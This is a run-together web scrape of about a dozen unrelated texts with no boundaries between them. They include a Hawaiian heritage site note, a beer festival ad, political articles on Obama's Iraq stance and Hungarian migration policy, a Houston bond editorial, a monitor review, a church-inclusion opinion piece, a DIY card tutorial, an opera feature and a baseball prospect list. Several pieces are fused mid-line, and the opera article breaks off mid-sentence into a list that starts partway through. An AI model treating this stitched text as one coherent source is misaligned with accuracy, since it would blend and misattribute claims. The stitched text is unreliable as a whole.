Kaawaloa is one of the most significant cultural and historical sites in the state. Originally a royal and religious center and the final resting place of Captain James Cook, the peninsula of land has been left largely overgrown, walls crumbling. Trails that might have once been well-trod avenues come to dead-ends in the woods and pass by tumbled rock structures of undetermined history and value.
The bay itself holds some of the healthiest and most abundant reefs found in the islands, and is a prime snorkeling destination both for visitors who arrive over water and those who hike down the trail. Devoid of vehicular traffic, Kaawaloa is a dense and quiet grotto, serene and in no hurry to offer up the secrets of its past.
Easy to see why it’s been tempting to just let things lie. But with this uncut jewel increasingly on the traveler’s bucket list, the status quo may not be possible for much longer.Home
IndiHop is celebrating its’ 8th year of beer!
Hosted on Saturday, June 1st 2019
1:00 pm-7:00 pm
Come down to The Grove and Cherokee Street, shuttle service to and from!
With a purchased ticket, participants receive a tasting glass and the opportunity to sample over 50 different locally brewed and crafted beers. Sample beer inside twenty five businesses in each neighborhood. Shuttles transport folks between neighborhoods and local musicians entertain at each stop. 50 tastes, 18 bands, 5 shuttles! IndiHop is St. Louis’ only community building beer festival in two neighborhoods!
Pick up your tickets in The Grove at Sarah and Chouteau or on Cherokee Street at Texas and Cherokee Street. Hop on a shuttle in the Grove at Taylor and Manchester, Tower Grove and Manchester, or Sarah and Manchester. Hop on a shuttle on Cherokee Street at Compton and Cherokee, Texas and Cherokee or Wisconsin and Cherokee. Check out live music in The Grove at Sarah and Manchester and Texas and Cherokee on Cherokee Street.
Email us at [email protected] backs long-term US military presence in Iraq
By Patrick Martin
29 July 2008
Democratic presidential candidate Barack Obama reiterated his support for an open-ended US military presence in Iraq over the weekend, further narrowing his professed differences with the Bush administration and Republican presidential candidate John McCain.
In an interview with Newsweek correspondent Richard Wolffe, published on the magazine’s web site Saturday, Obama emphasized that his policy in Iraq was one of “phased withdrawal,” in which US troops could remain in large numbers in Iraq for many years. “They’re going to need our help for some time,” he said.
“We’re going to have to provide them with logistical support, intelligence support,” Obama continued. “We’re going to have to have a very capable counterterrorism strike force. We’re going to have to continue to train their Army and police to make them more effective.”
Asked about how large a force would be required to carry out these missions, Obama replied, “I do think that’s entirely conditions-based. It’s hard to anticipate where we may be six months from now, or a year from now, or a year and a half from now.”
The McCain campaign immediately highlighted Obama’s reference to troop withdrawal decisions being “conditions-based,” declaring that he was conceding the correctness of the policy pursued by the Bush administration and advocated by McCain, rejecting any “artificial” deadline for the removal of American troops.
“Barack Obama is ultimately articulating a position of sustained troop levels in Iraq based on the conditions on the ground and the security of the country,” said McCain spokesman Tucker Bounds. “That is the very same position that John McCain has long held.”
Obama’s sharp swing to the right on foreign policy has been noted in another quarter: Israel, where politicians from right-wing Likud leader Benjamin Netanyahu to Prime Minister Ehud Olmert and his Labor Party rival Ehud Barak all applauded the Democratic candidate’s stance on Iran. Writing in Israel’s largest-circulation newspaper, Yediot Aharanot, columnist Itamar Eichner declared, “For every fear, query or question, Obama immediately produced a suitable Zionist answer.”
Walter Russell Mead, a conservative foreign policy analyst, commented on the broader foreign policy convergence of Obama, Bush and McCain in an op-ed column published in the Los Angeles Times Sunday. He wrote, “Obama’s pilgrimage abroad points to a larger truth: In the midst of a bitter political year, a loose bipartisan consensus on the Mideast may be emerging.”
The four main policy issues on which the two candidates and the Bush administration have substantial agreement, he wrote, include: greater US military involvement in Afghanistan and Central Asia; using whatever force is necessary to prevent the collapse of the current Iraqi regime; siding with Israel against the Palestinians; and pressure on Iran, using diplomacy, sanctions and force if ultimately required to prevent Tehran from developing nuclear weapons.
Practically gloating over the rebuff being delivered to the widespread popular opposition to the war in Iraq, Mead added, “And, irony of ironies, the consensus, seemingly embraced by Obama, seems closer to Bush’s views than to those of the antiwar activists who propelled the Illinois senator to the nomination.”
The right-wing columnist was underlining the most important feature of the 2008 presidential election campaign: once again, as in the previous three elections, the Democratic Party is serving as the political graveyard for opposition to American militarism.
Hundreds of thousands of people, many of them youth and students, backed the Obama campaign hoping that his election would lead to an end to the war in Iraq. Obama appealed to antiwar sentiment in his primary campaign against Hillary Clinton, declaring that the war was one “that should never have been authorized and never been waged.”
But as he seeks to pass the final hurdle in the presidential contest—assuring the most powerful sections of the US ruling elite that he will defend their strategic and economic interests, in the Middle East and throughout the world—Obama has abandoned his antiwar rhetoric and speaks openly as the prospective commander-in-chief of American imperialism.
The presumptive Democratic presidential nominee sounded this theme in an interview on “Meet the Press,” broadcast Sunday morning. He responded to a question by NBC’s Tom Brokaw, about why he would not admit that the Bush “surge” had been a success, with the following declaration.
SEN. OBAMA: “... to try to single out one factor in a very messy situation is just not accurate, and it doesn’t, it doesn’t take into account the larger strategic issues that have been at stake throughout this process. Look, we’ve got a finite amount of resources. We’ve got a finite number of troops. Our military is stretched extraordinarily because of trying to fight two wars at the same time. And so my job as the next commander in chief is going to be to make a decision what is the right war to fight, and, and how do we fight it? And I think that we should have been focused on Afghanistan from the start. We should have finished that job.”
Note the sentence: “My job as the next commander in chief is going to be to make a decision what is the right war to fight.”
The American people thus will be given the choice on November 4 of voting for War #1 or War #2, Iraq or Afghanistan. In fact, they will be saddled with both wars, with only slight differences between the Democrats and Republicans over which war should receive the largest proportion of US military resources. Those who oppose American militarism, who want to bring an end to the oppression and violence wrought by imperialist aggression throughout the Middle East and Central Asia, have been disenfranchised by the two big business parties.
In the “Meet the Press” interview, Brokaw touched on the material interests at stake in the Middle East, asking Obama whether, in the case of troops that were withdrawn from Iraq, “those that don’t go to Afghanistan, will they stay in the region and protect Saudi oil fields?” Obama replied that there would be a residual troop deployment in the Persian Gulf, of undetermined size and location.
There has been increasingly open discussion in the American press about the oil interests at the center of the US intervention in Iraq—perhaps whetted by the prospect that US oil companies may be close to actually cashing in on the dominant US role in the conquered country.
The Washington Post, for instance, published two editorials in the recent period declaring that Iraq’s oil reserves were a vital US interest. On July 16, the newspaper attacked Obama’s speech on Iraq delivered the day before, which reaffirmed his support for a 16-month timetable to remove US combat troops. Criticizing his claim that Iraq was a distraction from larger strategic interests, the Post wrote: “That’s an irrational and ahistorical way to view a country at the strategic center of the Middle East, with some of the world’s largest oil reserves. Whether or not the war was a mistake, Iraq’s future is a vital U.S. security interest. If he is elected president, Mr. Obama sooner or later will have to tailor his Iraq strategy to that reality.”
A second editorial on July 23 praised Obama for taking a more flexible position on Iraq, but criticized his claim that Afghanistan should be the real “central front” for US military operations. It concluded with the following remarkably blunt assertion: “While the United States has an interest in preventing the resurgence of the Afghan Taliban, the country’s strategic importance pales beside that of Iraq, which lies at the geopolitical center of the Middle East and contains some of the world’s largest oil reserves.”
Here is the undisguised voice of American imperialism. Let’s cut out all the twaddle about fighting terrorism and avenging the 9/11 attacks, the Post is saying. That’s good to bamboozle the American people, but no president can take that seriously. The real issue is securing control of a country “which lies at the geopolitical center of the Middle East and contains some of the world’s largest oil reserves.”
Those who sincerely want to carry out a struggle against imperialist war must recognize that it is impossible to separate the military atrocities perpetrated by the Pentagon from the socio-economic interests of the ruling class that send the US military into battle. The struggle against imperialist war requires a political struggle against the profit system as a whole. This means mobilizing the working class as an independent political force, on the basis of an internationalist and socialist program.Hungary’s FM: We refuse to accept terrorism as something we have to live with
Via Hungary Journal
Member states cannot be stripped of their rights to discuss the issues around integration, Hungarian Foreign Minister Peter Szijjarto said on Monday at his annual hearing before parliament’s European affairs committee.
The “historic challenges” the bloc faces, such as terrorism, immigration, energy security, Brexit and the Ukraine situation, “have stayed with us” during the past year, Szijjarto noted. With 28 sovereign states comprising the EU, serious debate on these issues is natural, the minister said. It is antidemocratic and unacceptable to call those insisting on the right to discussion un-European, he said.
Concerning terrorism in particular, Szijjarto suggested that it was now “an everyday phenomenon” and said that: “Hungary refuses to accept it as something we have to live with“.
“We expect Europe’s institutions to act against it at last,” he said. He also argued that terrorism was a direct consequence of “1.5 million illegal migrants coming to Europe without any control in the past two years; this movement does offer an opportunity for terrorist organisations to send their fighters without any problem”.
He insisted that rather than advocating policies “encouraging migrants to leave for Europe”, the EU should negotiate with countries in Africa and help remove the causes of migration. “Europe’s security will start in Africa,” he said.
The Hungarian government aims to “stop immigration” while the foreign minister of Luxembourg “advocates managing it”, Szijjarto told Hungarian news agency MTI. He added that “this is a fundamental and unresolvable conflict” with Jean Asselborn, who said in a recent interview that the European Union’s refugee policy was doomed to failure. In his interview, Asselborn called for a legal mechanism to facilitate immigration to the EU.Every neighborhood should have somebody like Barbara Quattro.
She's one of those people who rattles cages at City Hall, a woman who gets mad when she sees trash on the streets, a civic activist who's spent weekends planting trees in esplanades. When she complains, the mayor listens. And one of her long-running complaints is that the city government has dragged its feet on building a library and multi-service center in Alief.
"It's just disappointing," Quattro told the Chronicle last year. "By the time they get around to building that building, I'll be so old and senile I won't even know it's happening."
At long last, her wish is about to come true, but only if Houston voters approve a bond issue appearing on the ballot this election day. Alief's long delayed library and multi-service center is one of more than a hundred projects – from replacing leaky roofs to renovating old fire stations – whose future depends on the passage of Houston's bond propositions.
The spotlight of public attention has focused on the billion dollar pension bond referendum, Proposition A, whose passage is absolutely critical to Houston's financial future. But if you're a Houston voter, you'll also find on your ballot four bond issues that will pay for a long list of projects and equipment essential to our city government.
Proposition B would authorize the city to borrow $159 million for the police and fire departments. The Houston Police Department needs the money for everything from improvements to its training academy to pouring new pavement at HPD facilities. The Houston Fire Department would use its funds to pay for renovating and expanding some of its fire stations. And both departments need to tap the bond money to update their aging fleets of cars, trucks and ambulances.
Proposition C would authorize $104 million in bonds for park improvements, including upgrades to 26 of the 375 parks around the city, making sure they are usable, safe and fun. To take one example: Baseball and soccer are popular with both young and older athletes in many neighborhoods, but many city ball fields are equipped with old wooden light poles. The bond issue would allow the Houston Parks and Recreation Department to replace them with new metal poles, energy efficient lights and underground wiring. The upgrade would also include a remote control feature that would reduce personnel costs.
Proposition D would raise $109 million for a variety of public health and solid waste disposal expenses. Much of this money would go to renovating and rehabilitating old multi-service centers, which are used as everything from health clinics to election polling places. Houston's Solid Waste Management Department, the people who pick up our garbage, would spend their share of this money on a "to do" list that includes a new disposal facility and a storm water mitigation project.
Proposition E would go a long way toward upgrading library services throughout the city with a $123 million bond issue, directly benefiting at least 24 of the city's 42 libraries. Not everyone can afford a home computer, yet in this digital age access to a computer is crucial to success. That's why it's such a shame that so many of Houston's neighborhood libraries are in disrepair. The bond proceeds will replace the roofs and repair the exteriors of ten libraries and will rebuild four neighborhood libraries.
Maybe you're wondering why these propositions don't include money for flood control after Hurricane Harvey. It's a logical question with an equally logical answer. In order to appear on the ballot in November, the plans for these bond issues were presented to city council in early August, weeks before the storm hit.
Beyond that, flood control in the Houston area has mainly been the responsibility of the county and federal governments. When voters ask why more hasn't been done to mitigate flooding, those are questions that need to be addressed mainly to the county judge and commissioners as well as our elected representatives in Washington.
Of course, the city government bears responsibility for drainage from Houston streets. But under Rebuild Houston, the infrastructure program financed by drainage fees on monthly water bills, the city is converting toward a "pay as you go" model and moving away from bond financing for road and drainage work. The idea is similar to cutting up the credit cards Houston has traditionally used to pay for these projects. That will eventually save the city the fortune it's currently paying on debt service, freeing up more funds for roads and drainage. Still, it's no wonder taxpayers are now asking questions about why the city doesn't already have more to show for all the money we've paid in drainage fees. In the wake of Harvey, we need a robust debate about why we haven't seen faster results out of Rebuild Houston.
Taxpayers may be tempted to take out their flooding frustrations on these bond issues. But that's not a good reason to force our police officers to continue driving around in broken down vehicles, nor to make our firefighters continue working in stations badly in need of renovation. What these bonds will finance are expenses tied to core services and basic amenities citizens have a right to expect out of their city government.
Propositions B, C, D and E won't attract as much attention as the pension problem.
They're the sort of traditional bond issues municipal governments routinely put before voters. Nonetheless, it's important Houstonians cast their ballots in favor of all the city's bond issues.Everything you want in a 4k gaming monitor
Pros: 4k monitor with no dead pixels. G-sync for the butter smooth gameplay even when under 60 fps. 4 USB ports on the monitor so if the tower isn't nearby, you can plug in your USB's into the monitor. Adjustable tilt, swivel, and height. CHEAP!!!!! G-sync works out of the box, you just need a GPU that supports it and go into the control panel to make sure G-sync is on. 28" screen is plenty big enough for gaming, unless you're into 34" ultrawide curved monitors. Cons: Need to be lucky to get one with no excessive backlight bleed. Some scratches on base or bezel because it's refurbished, not new. USB upstream cable and DisplayPort cable are too short. (3 ft) You only have 3 months warranty with the refurbishing company. TN panel means that color isn't 100% accurate, and the angles are not optimal if you move around a lot. Glossy black of the plastic likes to suck up fingerprints. TL;DR: Buy this monitor if your computer can handle gaming on 4k at at least 40 fps. Above 40 is when the G-sync kicks in well, giving 60 fps-like performance for less. No need for a new monitor unless you want the 3 years warranty.Read full review
Verified purchase: NoThe United Methodist Church is currently in the midst of potentially Denomination-splitting discussions on the Church’s official stance on LGBTQ inclusion.
As someone who has served in the UMC for 17 years, nearly a decade of those in one of the 100 largest churches in the country, it’s about time.
This should be a pass-fail deal breaker for people who claim to love LGBTQ human beings.
Traveling this country and engaging thousands of Christians every month, I encounter local faith communities, both inside and outside the United Methodist Church—who claim to be LGBTQ-affirming or LGBTQ-inclusive, but who want to do so with all sorts of caveats or conditions in place. They aspire to see themselves as open to diversity in areas of sexuality, but with barriers in place that make those aspirations disingenuous at best.
If LGBTQ human beings aren’t able to fully participate in the life of your community, you aren’t affirming or inclusive or hospitable or loving to them, regardless of how you label yourself. Withholding aspects of community as a penalty or incentive, tells people they are not yet suitable for full participation, that they are currently unworthy—that they must be changed or fixed or “made right with God,” in order to find themselves suitable.
This is spiritual segregation; to claim equality with LGBTQ human beings, while not allowing them access to the totality of the community that others have as birthright.
In my last UMC church, our “official stance” was that we loved and welcomed people who identified as LGBTQ, but that they could not preach, could not be married, could not serve as leaders, could not be on ministry teams—unless of course they concealed their identities and orientations (even if such things were common knowledge.) It was a game we played and asked LGBTQ people to play along with. As a minister who questioned this, I was told to tell such people in my care, that being gay, lesbian, bisexual, or transgender was “not God’s best for them.”
I couldn’t do that. I don’t believe that.
I don’t believe exclusion of LGBTQ human beings is ever going to be God’s best for them. I believe treating them with dignity and respect, is.
Community that is selectively available, or that causes people to deny essential and immutable parts of themselves in order to participate, isn’t authentic community it’s conditional community—it is relationship with an agenda, love with stipulations, God with fine print.
If LGBTQ people aren’t allowed to marry the person they love, or to share their gifts on ministry teams, or to preach from the pulpit, or to volunteer out of places of passion, or if they are asked explicitly or implicitly to hide themselves in order to do any of the above—your community isn’t inclusive yet.
The UMC, like many religious entities and local communities is talking in semantics right now, when it needs to be cutting to the heart of the matter.
Either you believe LGBTQ are made my God and fully indwelled with beauty and dignity—or you don’t.
Either you value their contributions and talents and intellects and stories to allow them to share such things—or you don’t.
Either you declare their worth by inviting them fully into your community—or you refuse to.
Either you believe gender identity and sexuality aren’t moral flaws—or you believe they are.
Choose which of these is true for you, and get on to living that out.
Love isn’t inclusion or affirmation, it’s participation.
Get John’s book, ‘Hope and Other Superpowers’ HERE.
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EmailVenezuelan airport charges customers for fresh air
Find Your Forecast Search for a location
Cheryl Santa Maria
Digital Reporter
Friday, July 11, 2014, 5:51 PM - Passengers departing from the Simon Bolivar International Airport of Maiquetia in Caracas can add another fee to their list.
They're now being charged a levy of 127 bolivars (approximately $22 CAD) to fund an air conditioning system that was installed earlier this year.
According to a statement on the airport's website the cooling system rids the atmosphere of "contaminants" and circulates ozone in an effort to improve health.
This so-called "breathing tax" went into effect on July 1 is being applied to all domestic and international travelers at check-in.
RELATED: Vancouver airport breaks 66 year-old record
Some passengers have taken to Twitter to voice their outrage.
"Maiquetia airport is 36C, it must be the injection of ozone that makes the temperature shoot up," @ELvDav writes, as translated by CNN.
"Could you explain to me the ozone thing in Maiquetia? The toilets have no water, the air-con is broken, there are stray dogs inside the airport, but there's ozone?" @DanielMartinezD asked.
With files from CNN
RELATED VIDEO: GOATS CUT THE GRASS AT CHICAGO AIRPORTThe Christmas holiday is right around the corner, and I present to you this Christmas greeting card template. You can make and send this unique pop up Christmas holiday card to your family and friends and say you made it. This DIY Christmas card template will allow you to spend more time sending out handmade Christmas cards then fighting with your glue and ruler.
Materials:
Christmas Gathering Template
Cardstock
Scissors or X-ACTO knife or Cutting machine
Acetate sheets/strips
ATG Glue / White Glue
Score tool
Video Instructions
Written Instructions
For the beginning of this card, please refer to Make Your Own Pop Up Card.
Once you finish, you should have a plain looking pop-up box card that looks like the pictures
Now that you have you pop up box card you can begin to add on all the Christmas accessories for this card.
Cut out the Christmas card template with the desired method you have access too.
Make sure you have acetate sheets beforehand so you can cut strips out for your Christmas embellishments.
Put them aside you will need them for later.
Take the panels you have cut out from the template and choose which panel goes where on the pop-up box card. Be sure to square the panels on the pop-up box card meaning to have in this case, a green trim around the snowflake panel.
I mess up the back panel of the card as the trim is not perfectly squared.
Once you have the snowflake panels on the pop-up card, you can now add the Christmas embellishments.
You can add the embellishments in any style or order you want.
If you want to know how I put my embellishments:
“A Very Merry Christmas” snowman on the first tab
Santa and Frosty the Snowman on the second tab
Rudolph the Red-Nosed Reindeer, Christmas tree, and the ornament on the third tab
That is the way I have it set up.
Gluing the acetate strip to the embellishment can be a little challenging because you do not want to have glue on the back of the piece only on the front.
When you glue the tip of the acetate strip, make sure you clean of the backside of the acetate strip before sticking to your embellishment.
This way, when you close your pop up box card, it will not be sticky and will work smoothly. Once you have the embellishment on the acetate strip, you can now cut and glue it to your pop up box card.
When you are trying to get the appropriate measurements for your acetate strip bring it to the tab you want it on and do an eyeball measure, then cut the piece to size. At first, you might not be able to do it, but you will get the hang of it.
Cut the strip to size.
Gluing the bottom part is the same thing as the top part make sure the backside of the strip has no glue, so the closing and opening of the pop-up box card are smooth.
Stick it on to the desired tab
Do this to all your embellishments that you want in the middle.
For the remainder embellishments, you can glue them on to the panel.
Merry Christmas!Walker told News On 6 that the TV crew started its Tulsa assignment earlier this week. Crews accompanied Tulsa detectives on Saturday morning's shooting death at an East Tulsa motel and were again on scene in West Tulsa Sunday when a man was stabbed over an alleged drug deal.
Walker said the film crew makes little difference in the way an investigation is handled.
"They stay out of our way; We're not going to do anything any differently," he said. "The ultimate goal in Tulsa is to make an arrest and solve the case, and that's what we're going to do."
Police have made an arrest in Sunday morning's murder. They arrested 38-year-old Terry Hansen for first-degree murder just a few hours after a man was found stabbed to death. They continue to search for the suspect in Saturday's fatal shooting at the Tonight Inn & Suites.
7/12/2014 Related Story: Arrest Made After Tulsa's 26th Homicide Victim Found Stabbed In CarWhen Michael Marcotte did the best show of his life his friends hated it. When Kamala Sankaram wanted to be a composer her parents made her do a practical masters degree. When Beth Morrison realized she'd rather produce opera than sing in it, she found nobody wanted to work by her revolutionary new model. They are just three of the bright young things of the opera renaissance in New York City: a generation of performers disillusioned by Broadway musicals, gambling their careers on producing contemporary opera.
Making opera accessible, comforting, and modern is a tough challenge, but one being taken on with aplomb by the talents currently on display. It’s a transformation that’s been many years in the making; not just because of programs and institutions, but because at long last artists are finding a place to express their dissatisfaction with Broadway shows so obsessed with recouping the huge financial investment required to stage them. Opera is becoming the place to explore if it can shed its stuffy image, not helped by the fact that the “standard repertoire” doesn’t include any works past 1924.
The South Asian Sondheim
“I think that a lot of people are afraid of opera because they don’t know what it is,” says Sankaram when I meet her for coffee. “It’s kind of like church in a way, the way that it’s turned out, it can be very intimidating if you’ve never done it before and you don’t know when you’re supposed to stand up, when to sit down, when to kneel.”
When we first met she was playing accordion in the ensemble for a new operatic work Mata Hari. It was in a double bill workshop performance for Culturemart 2014 at HERE in SoHo (a version of the show will be performing there this year as well) and it was rehearsing in a brownstone a few minute’s walk from the place Anna Nicole, and New York City Opera, did its final run. Sankaram seemed like another musician brought in for the project, but she was quickly outed as the composer and performer of one of the year’s most unusual operatic productions.
Thumbprint was the opera of the gang rape of Mukhtar Mai and subsequent search for justice. It mixed Western classical music with the stylings of Hindustani and Raga music. It was, in almost every way, a lot to take in. Especially for critics. “A lot of the reviewers who came didn’t know anything about Hindustani music and you could tell by the way they wrote about it, because Hindustani music is about melodic and rhythmic development not necessarily harmony,” explains Sankaram, with her perennial smile.
Originally obsessed with Sondheim at school, she started dabbling with composition. “I wrote a very bad musical with a friend that never got performed, fortunately,” she says. Eventually she made her way to New York to audition for Broadway shows and study composition. When she graduated, however, Broadway wasn’t doing it for her and her parents told her to do a postgraduate degree with legs. She chose psychology. Never willing to be dissuaded from her dream, Sankaram kept writing music, but the only venues that were available to her were rock clubs. Thus she turned to pop songs with her own twist.
She has a band called Bombay Rickey, whose style she describes as “a combination of operatic singing with kumbayah surf music and spaghetti western influences,” and her different way of singing was always noticed by audiences. “It’s the same exact kind of singing that I do when I’m doing a piece of classical music but people can’t identify what it is because they don’t know what classical singing is like,” she says. “So I have people coming up to me and asking if I had voice lessons. Yes, this is operatic singing!”
Operatic singing has become so mythologized that people no longer even know what it consists of, which Sankaram noticed when Renee Fleming sang the national anthem at the 2014 Super Bowl. “I remember someone asking if she was going to sing too long,” she giggles. “If they knew anything about the classical voice or knew anything about her they’d know that this was cake for her. She’s got two octaves above the highest note in that or something ridiculous like that.”
Eventually Sankaram was selected as a resident artist at HERE, the arts center in SoHo that first staged The Vagina Monologues and some of Basil Twist’s award-winning work. The end of her time at the venue produced her first opera Miranda, which she dubbed a “steampunk-opera.”
Although Miranda’s dark humor was a huge selling point, Sankaram’s second piece, Thumbprint, was far from comedic. “Most of us don’t have the experience with that kind of sexual violence and so it’s going to remain removed to some extent even if the actor is really, really good. If you have something musical then we can still hear the music and it will make us feel something and that can put us more into the same emotional state as that person,” she explains. “So it’s like removing a wall between you and that person’s experience.” After developing a song cycle for the multimedia production company Vision Into Art on the subject of Mukhtar Mai, she collaborated with opera producer Beth Morrison to develop it into a full opera. Thumbprint was staged, at long last, at PROTOTYPE in January 2014.
Thumbprint was given the title of an opera, a decision Sankaram regrets now. Critics, she thinks, missed something of her inspiration. The answer she thinks might have been to call Thumbprint a Hindustani-opera, but the constant use of operatic prefixes and suffixes seems to be leading to confusion as to what opera really is. Lee Breuer recently staged the last piece of the Shaggy Dog trilogy at La Mama, La Divina Caricatura, which he called a “puppet-opera.” The form is not new—his puppetry director Jessica Scott has worked in multiple puppet-operas—but to her and other members of the team the phrase “opera” was not applicable to the primarily sung-through bunraku show.
“It’s a very equal combination of live music, puppetry, and spectacle. But not an opera,” says Scott. “That word carries too much specific form, and there’s so much spoken text that is lyrical, but aren’t lyrics themselves.”
Opera has always been a contested term for some shows. Mozart called The Magic Flute a “Zingspiele,” for example, or what might seem like an opera might technically be an |
a career.400 OBP and runs well. He'll have nearly a full season's worth of AA-ball under his belt before his 21st birthday in May. A lack of power hinders his upside, but he could wind up being similar to Scott Podsednik, if not better.
101. Jeanmar Gomez, RHP, Indians (Kinston)
Gomez pitched well in Low-A as an 18-year-old, and is well ahead of the curve. He's got good command of power stuff.
100. Jeremy Jeffress, RHP, Brewers (Brevard County)
Jeffress' triple-digit heat draws Joel Zumaya comparisons, although like Zumaya he is starting in the minors. Drug problems have hurt him, and he is currently suspended, but the Brewers claim he is maturing.
99. Brandon Erbe, RHP, Orioles (Frederick)
Erbe destroyed two leagues from 2005 to 2006 before getting hit hard last year in the Carolina League. Expect a rebound given his youth and stuff.
98. Arnold Leon, RHP, Athletics (Stockton)
Leon already has AAA experience in the Mexican League, and being just 19, he is very advanced for his age. Some consider the short righty the biggest international signing of the offseason.
97. Angel Salome, C, Brewers (Huntsville)
"Pocket Pudge" can hit, throw, and made it to AA at 21. What's not to like?
96. Kellen Kulbacki, OF, Padres (Fort Wayne)
Call me a JMU fanboy all you want, but leading the NCAA in home runs as a sophomore is no small feat. The supplemental first-rounder tore up the NWL last year and his bat should carry him quickly.
95. Mike Stodolka, 1B, Royals (Omaha)
Stodolka was picked fourth overall in the 2000 draft...as a pitcher. The infield answer to Rick Ankiel, Stodolka has a high-average bat with good power.
94. Lars Anderson, 1B, Red Sox (Lancaster)
Anderson draws Travis Hafner comparisons due to his high-average, high-power bat, and nonexistent defense. The Cal League will be a big test to see if the 20-year-old can tap into his power.
93. Chris Carter, 1B/LF, Red Sox (Pawtucket)
A major-league caliber bat right now, Carter would be an upgrade on Sean Casey for the Red Sox, making Casey's signing quite enigmatic. Carter's is a bit of a klutz on 'D,' but he plays two positions and could bat third if he played for the Giants.
92. Anthony Swarzak, RHP, Twins (New Britain)
Swarzak has above-average command of above-average stuff, and projects as a fairly generic No. 3 starter.
91. Steve Garrison, LHP, Padres (San Antonio)
One of the better finesse lefties around, Garrison is on the brink of AAA at 21.
90. Michael Madsen, RHP, Athletics (Midland)
Scouts can rant about short righties all they want, but Madsen's 2007 was the biggest and most overlooked turnaround in the minors. Few pitchers throw better curves.
89. Logan Morrison, 1B, Marlins (Jupiter)
Morrison broke out last year with 24 homers, and is now a 20-year-old in High-A. Some project him to be a.300/.380/.525 hitter, and he's a plus defender at first.
88. Jesus Montero, C, Yankees (Charleston)
Montero has extreme power, but questions about his defense and contact keep him from being ranked higher with such a limited career resume.
87. Michael Burgess, OF, Nationals (Hagerstown)
Burgess is a fantastic hitter in both the contact and power departments, and could be another exciting addition to a powerful Nationals lineup in three years.
86. Sean Doolittle, 1B, Athletics (Stockton)
A great defensive first baseman with a high batting average, Doolittle is Daric Barton with a little less patience. Like Barton, Doolittle's ultimate value will be determined by the growth of his power.
85. Jordan Brown, 1B/OF, Indians (Buffalo)
Brown won the Carolina League MVP in 2005 and the Eastern League MVP in '06. He projects as a.300 hitter with 40 doubles and 20 homers annually. He may displace Ryan Garko soon, or move into one of Progressive Field's outfield corners.
84. Ryan Tucker, RHP, Marlins (Carolina)
The Marlins have a number of good pitching prospects, and Tucker throws harder than any of them. His secondary stuff is just okay, however, leading many to project him as a closer down the line.
83. Jermaine Mitchell, OF, Athletics (Stockton)
This athletic center fielder has the real five-tool skill set. He has good patience at the plate, and there are clear signs he is making the cliched transition from athlete to baseball player.
82. Aneury Rodriguez, RHP, Rockies (Modesto)
Yeah, bet you weren't expecting him to make the list. Rodriguez K'd over a batter per inning last year in Low-A as a 19-year-old, and showed good command along the way. He's got three plus pitches and is advanced for his age.
81. Nick Adenhart, RHP, Angels (Salt Lake)
Adenhart is just 21, but has already demonstrated proficiency in the high minors with his low-90's fastball and solid breaking pitch. His ceiling is probably No. 3, but he isn't far from getting there.
80. Eric Young Jr., 2B, Rockies (Tulsa)
Young has absolute off-the-charts speed, but he also has a solid approach at the plate. Along with Jose Reyes, Young may soon help "bring back the stolen base." His approach and defense makes him way more valuable than Juan Pierre.
79. Madison Bumgarner, LHP, Giants (Augusta)
Bumgarner is making his pro debut this year, but he's an 18-year-old lefty with a 97-mph fastball. Enough said.
78. Nate Gold, 1B, Rangers (Oklahoma City)
Laugh all you want at this one. Owner of 123 homers in his minor league career, including 60 the past two years, Gold has nothing left to prove in Triple-A. Here's hoping he isn't mishandled like Scott McClain (What is that now, 10 McClain references in 18 articles?).
77. Josh Outman, LHP, Phillies (Reading)
Aside from having the most marketable name of any pitcher in history, Outman's got a solid three-pitch arsenal, led by a mid-90's heater. He could be up quickly if Kyle Kendrick, Adam Eaton, or Kris Benson falter.
76. Tim Alderson, RHP, Giants (San Jose)
Alderson is a 6-8 righty with impeccable command of a high-90's fastball. Like Bumgarner, yeah, he's making his pro debut, but just that one sentence is enough to rank him here.
75. Fautino De Los Santos, RHP, Athletics (Stockton)
I'm not as high on De Los Santos as most, despite my love for the A's. However, his stuff (high-90's heat with a good curve and slider) is undeniably good. I'm skeptical of his ability to harness that, but it's just a hunch.
74. Chorye Spoone, RHP, Orioles (Bowie)
Spoone won't wow you with anything except creative ways to spell "Cory," but if there's anyone in the minors who profiles as a workhorse, it's him. Think Jeff Suppan, maybe even a tick better.
73. Chris Carter, 1B, Athletics (Stockton)
Carter's jaw-dropping raw power elicits Wily Mo Pena comparisons, but unlike Pena, he has a decent grasp of the zone and takes a good amount of walks. Scouts are widely divided on his contact projections, so he could be anything from Richie Sexson to Ryan Howard. Either way, he can't play defense, but he sure can crush the ball.
72. Kyle Blanks, 1B, Padres (San Antonio)
The heaviest prospect on this list, Kyle Blanks certainly does not look good in jeans. However, the 310-pounder is actually a good basestealer, and plays a great first base. He also has the power you'd expect from someone his size, and had a.920 OPS in High-A last year at age 20. The upside here is Prince Fielder.
71. Desmond Jennings, OF, Rays (Columbus)
Jennings, like Jermaine Mitchell, was working on that "athlete to baseball player" transition last year, and he is both further along and younger than Mitchell. It's scary how many good prospects the A's and Rays have.
70. Brett Sinkbeil, RHP, Marlins (Carolina)
Guess what his best pitch is? The name says it all. Sinkbeil, like Ryan Tucker, could eventually end up in the 'pen, but he's going to be a successful power groundballer in some role.
69. Gerardo Parra, OF, Diamondbacks (Visalia)
Parra has elicited Carlos Beltran comparisons because of his sweet swing, contact, speed, and defense. The development of his power will dictate how far he goes beyond a David DeJesus-type player.
68. Omar Poveda, RHP, Rangers (Bakersfield)
One of the "sleeper prospects" on this list, Poveda is a big 20-year-old who dominated Low-A last year. He throws a low-90's fastball and good curve, but his great changeup sets him apart.
67. Lucas May, C, Dodgers (Jacksonville)
May is possibly the best power-hitting catcher in the minors. He also owns a strong arm. The development of his receiving skills and batting eye will dictate how far he gets. Think Kelly Shoppach.
66. Jarrod Parker, RHP, Diamondbacks (South Bend)
Parker's small size, compact delivery, and triple-digit heat elicit Rich Harden comparisons. Parker only has one good secondary pitch to Harden's four, and he is making his pro debut this year, but he could move fast and replace Randy Johnson soon. A Webb-Haren-Scherzer-Parker-Owings rotation...wow.
65. Jon Niese, LHP, Mets (Binghamton)
This 21-year-old finesse lefty has succeeded at High-A and projects as a solid No. 3.
64. Dexter Fowler, OF, Rockies (Tulsa)
Fowler is more toolbox than finished product right now, but the unfinished product produced a.397 OBP in High-A at age 21. It's scary to think where Fowler could wind up. He may already be better than Willy Taveras.
63. Jeremy Hellickson, RHP, Rays (Vero Beach)
Hellickson just turned 21, but he's nearing readiness for AA-ball. He isn't eye-popping, but he just has the generic combination of good stuff and good command. Given how young he is, he could yet improve and wind up a No. 2 someday, although not in the future Tampa rotation.
